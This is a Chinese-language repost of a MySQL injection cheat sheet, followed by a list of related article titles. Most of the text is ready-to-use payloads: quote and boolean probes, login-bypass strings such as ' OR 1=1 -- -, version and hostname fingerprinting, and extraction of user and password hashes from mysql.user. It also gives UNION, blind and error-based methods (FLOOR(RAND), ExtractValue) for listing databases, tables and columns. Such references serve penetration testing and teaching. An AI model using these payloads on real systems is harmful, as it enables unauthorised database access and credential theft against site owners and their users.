1. 程式人生 > >mysql 注入科普

mysql 注入科普

轉載自:http://ourmysql.com/archives/1244?f=wb

預設存在的資料庫:

mysql 需要root許可權讀取
information_schema 在5以上的版本中存在

測試是否存在注入方法

假:表示查詢是錯誤的 (MySQL 報錯/返回頁面與原來不同)

真:表示查詢是正常的 (返回頁面與原來相同)

 

共三種情況:

字串型別查詢時: 數字型別查詢時: 登陸時:
“”
\
\\
AND 1
AND 0
AND true
AND false
1-false 有問題時返回1的結果
1-true 有問題時返回0的結果
2-1 返回與1相同代表可能存在問題
1*56 返回與56相同代表可能存在問題
1*56 返回與1相同代表沒有問題
‘ OR ’1
‘ OR 1 — -
” OR “” = “
” OR 1 = 1 — -
‘=’
‘LIKE’
‘=0–+

例子:

SELECT * FROM Users WHERE id = '1'''; SELECT * FROM Users WHERE id = 3-2; SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = ''; 

可以使用很多單雙引號,只要是成對出現。

SELECT * FROM Articles WHERE id = '121''''''''''''' 

引號後的語句會繼續執行。

SELECT '1'''''"" UNION SELECT '2' # 1 and 2 

下面的符號可以用來註釋語句:

# Hash 語法
/* C-style 語法
– - SQL 語法
;%00 空位元組
` 反引號

例子:

SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = ''; SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`'; 

測試資料庫版本

VERSION() @@VERSION @@GLOBAL.VERSION 

如果版本為5的話,下面例子返回為真:

SELECT * FROM Users WHERE id = '1' AND MID(VERSION(),1,1) = '5'; 

windows平臺上的mysql查詢與linux上返回不同,如果是windows伺服器返回結果會包含 -nt-log字元。

資料庫認證資訊:

mysql.user
欄位 user, password
當前使用者 user(), current_user(), current_user, system_user(), session_user()

例子:

SELECT current_user; SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user = 'root'-- (Privileged) 

資料庫名:

information_schema.schemata, mysql.db
欄位 schema_name, db
當前資料庫 database(), schema()

例子:

SELECT database(); SELECT schema_name FROM information_schema.schemata; SELECT DISTINCT(db) FROM mysql.db;-- (Privileged) 

伺服器主機名:

@@HOSTNAME 

例子:

SELECT @@hostname; 

表和欄位

檢測欄位數

兩種方式:

ORDER BY判斷 ORDER BY n+1;
讓n一直增加直到出現錯誤頁面。

例子:
查詢語句
SELECT username, password, permission FROM Users WHERE id = ’1′;

1′ ORDER BY 1–+ 真
1′ ORDER BY 2–+ 真
1′ ORDER BY 3–+ 真
1′ ORDER BY 4–+ 假- 查詢只用了3個欄位
-1′ UNION SELECT 1,2,3–+ 真

基於錯誤查詢 AND (SELECT * FROM SOME_EXISTING_TABLE) = 1
注意:
這種方式需要你知道所要查詢的表名。
這種報錯方式返回表的欄位數,而不是錯誤的查詢語句。

例子:
查詢語句
SELECT permission FROM Users WHERE id = 1;
AND (SELECT * FROM Users) = 1 返回Users的欄位數

查詢表名

三種方式:

Union方式 UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;– MySQL 4版本時用version=9,MySQL 5版本時用version=10
盲注 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > ‘A’
報錯 AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))) 

(@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),[email protected]) HAVING @||MIN(@:=0);

AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));–

在5.1.5版本中成功。

查詢列名

Union方式 UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = ‘tablename’
盲注 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > ‘A’
報錯 AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))) 

(@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),[email protected]) HAVING @||MIN(@:=0);

AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));– 在5.1.5版本中成功。

AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)– MySQL 5.1版本修復了

利用PROCEDURE ANALYSE() 這個需要web展示頁面有你所注入查詢的一個欄位。 

例子:
查詢語句
SELECT username, permission FROM Users WHERE id = 1;

1 PROCEDURE ANALYSE() 獲得第一個段名
1 LIMIT 1,1 PROCEDURE ANALYSE() 獲得第二個段名
1 LIMIT 2,1 PROCEDURE ANALYSE() 獲得第三個段名

一次查詢多個表或列

SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>[email protected]) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x 

例子:

SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>[email protected]) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+'; 

輸出結果:

 [ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME [ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME [ information_schema ] >CHARACTER_SETS > DESCRIPTION [ information_schema ] >CHARACTER_SETS > MAXLEN [ information_schema ] >COLLATIONS > COLLATION_NAME [ information_schema ] >COLLATIONS > CHARACTER_SET_NAME [ information_schema ] >COLLATIONS > ID [ information_schema ] >COLLATIONS > IS_DEFAULT [ information_schema ] >COLLATIONS > IS_COMPILED 

利用程式碼:

SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns 

例子:

SELECT username FROM Users WHERE id = '-1' UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns; 

輸出結果:

Table: talk_revisions Column: revid Table: talk_revisions Column: userid Table: talk_revisions Column: user Table: talk_projects Column: priority 

根據列名查詢所在的表

SELECT table_name FROM information_schema.columns WHERE column_name = ‘username’; 查詢欄位為username的表
SELECT table_name FROM information_schema.columns WHERE column_name LIKE ‘%user%’; 查詢欄位中包含user的表

根據表查詢包含的欄位

SELECT column_name FROM information_schema.columns WHERE table_name = ‘Users’; 查詢user表中的欄位
SELECT column_name FROM information_schema.columns WHERE table_name LIKE ‘%user%’;

相關推薦

mysql 注入科普

轉載自:http://ourmysql.com/archives/1244?f=wb 預設存在的資料庫: mysql 需要root許可權讀取 information_schema 在5以上的版

【19】WEB安全學習----MySQL注入-4

一、盲注介紹 開發人員一般禁用了所有的詳細錯誤訊息,如果發現了一個SQL注入點,但應用只提供了一個通用的錯誤頁面;或者返回正常頁面但沒有我們需要的內容在上面。這些都屬於SQL盲注,沒有錯誤訊息或反饋內容就不能使用之前的注入方法,而是採用SQL邏輯操作以位元組方式推斷資料來修

【SQL注入技巧拓展】————2、MySQL注入攻擊與防禦

本文主要是做一個Mysql的注入總結,對於Mysql來說利用的方式太過於靈活,這裡總結了一些主流的一些姿勢。 一、注入常用函式與字元 下面幾點是注入中經常會用到的語句 控制語句操作(select, case, if(), ...) 比較操作(=, like, mod()

mysql注入繞過的一些技巧

雖然mysql + php的開發中可以使用pdo中,但是有些老久的程式沒有使用,或其他原因 1.註釋繞過 select/*comment*/user/*zzsdsdsf*/from mysql.user;   2.內聯註釋繞過 /*!12345select*//*!12345user*/ fro

mysql注入時的註釋處理

我們在碰到字元型注入點時,要想辦法把原查詢SQL語句後面的單引號消掉才能讓注入語句執行成功,我所知道常用的辦法有以下幾種(也許還有其他辦法,望高手指教),假設查詢欄位數為兩個且只用到一個字元型條件引數: 1、加註釋,如:showtopic.php?key=abc' and 1<> 1 uni

MYSQL注入繞過技巧

/lingdao.php?id=4.990Union(select-1.0,2,3,4,5,6,7,@@version) Article/show/id/4.0Union(select-0.1,2,USER,password,5,6,7,8,9,10,11,12,13.0FROM mysql%252euse

【sql注入教程】mysql注入直接getshell

Mysql注入直接getshell的條件相對來說比較苛刻點把 1:要知道網站絕對路徑,可以通過報錯,phpinfo介面,404介面等一些方式知道 2:gpc沒有開啟,開啟了單引號被轉義了,語句就不能正常執行了 3:要有file許可權,預設情況下只有root有 4:

sqlmap之(四)----Mysql注入實戰

(1) 查詢資料庫 sqlmap.py -u "http://localhost/sqls/index.php?id=123" --dbs 資料庫有8個。 (2) 通過第一步的資料庫查詢表(

Mysql注入之一 聯合注入

一 前言 作者也在學習web安全,可能文章中或多或少存在一些錯誤內容。寫些手工注入的文章,一方面能加深對這部分知識的印象,一方面也能大家互相學習。 有人可能問:資料庫注入不是有很多非常強大的工具,如sqlmap,為什麼還要去花些時間去學習手工注入。雖然使用s

jsp mysql 注入攻擊例項

例子 要查詢資訊 並顯示出來 SQL  資訊表與admin表 插入資訊 md5 加密的密碼 CREATE TABLE `admin` ( `Id` int(11) NOT NULL AUTO_INCREMENT, `Name` varchar(40) NOT

史上最完整的MySQL注入

免責宣告:本教程僅用於教育目的,以保護您自己的SQL註釋程式碼。 在閱讀本教程後,您必須對任何行動承擔全部責任。 0x00 ~ 背景 這篇文章題目為“為新手完成MySQL注入”,它旨在提供專門針對MySQL資料庫的SQL注入的完整知識和工作方式,除了堆疊查詢部分。 這

【20】WEB安全學習----MySQL注入-5(布林型盲注)

布林型盲注例子演示: 本次程式碼不輸出具體的查詢記錄結果,如果存在ID值則輸出一個狀態,不存在ID值則輸出另一個狀態,也不會輸出SQL報錯狀態,為布林型盲注。 <?php header('content-type:text/html;charset=utf-

Mysql注入注入點探測

Mysql初級SQL注入總結 作為一個剛剛接觸web安全的小白來說經驗的總結非常重要今天我就來總結一下SQL注入的內容 注入點的探測:當然我們第一個想到的當然是使用工具去探測,但作為新手我們現在不講工具,那如何探測呢? 首先我們需要先判斷是什麼型別的注入點有數字型,字元

sqlmap進行mysql注入root許可權讀寫檔案

  1.在BT5 R2下[email protected]:/sqlmap# python sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 -f -b --current-user --curren

【22】WEB安全學習----MySQL注入-7(繞過限制)

註釋符:-- 、#、/**/繞過 只能閉合後面的語句,使其成為正確的SQL語句。 $sql="SELECT username FROM users WHERE id='{$id}' limit 0,1;" $id=-1' union select version() '

MySQL注入--Payload

MySQL注入--Payload Mirror王宇陽 2019-10-22 SQL的注入流程一般如下: 1、判斷是否有SQL注入漏洞(判斷注入點) 2、判斷資料庫的系統架構、資料庫名、web應用型別等 3、獲取資料庫資訊 4、加密資訊破解 5、進行提權 前篇 注入漏洞分類: 數字型注入: 當輸入(注入)的

【網路安全】SQL注入、XML注入、JSON注入和CRLF注入科普

目錄 SQL注入 一些尋找SQL漏洞的方法 防禦SQL注入 SQL注入相關的優秀部落格 XML注入 什麼是XML注入 預防XML注入

MYSQL注入相關內容及部分Trick的歸類小結

前言 最近在給學校的社團成員進行web安全方面的培訓,由於在mysql注入這一塊知識點挺雜的,入門容易,精通較難,網上相對比較全的資料也比較少,大多都是一個比較散的知識點,所以我打算將我在學習過程中遇到的關於的mysql注入的內容給全部羅列出來,既方便個人之後的複習,也方便後人查詢相關資料。 本文部分內容可能

nodejs中查詢mysql防止SQL注入

Performing queries The most basic way to perform a query is to call the .query() method on an object (like a Connection, Pool, or PoolNamespace inst

在SQL注入中常用的mysql語法

user()返回當前資料庫連線使用的使用者; database()返回當前資料庫連線使用的資料庫; version()返回當前資料庫的版本; concat-ws() 函式可以將這些函式進行組合使用並顯示出來。concat函式中,將其中的引數直接連線起來產生新的字串。而在con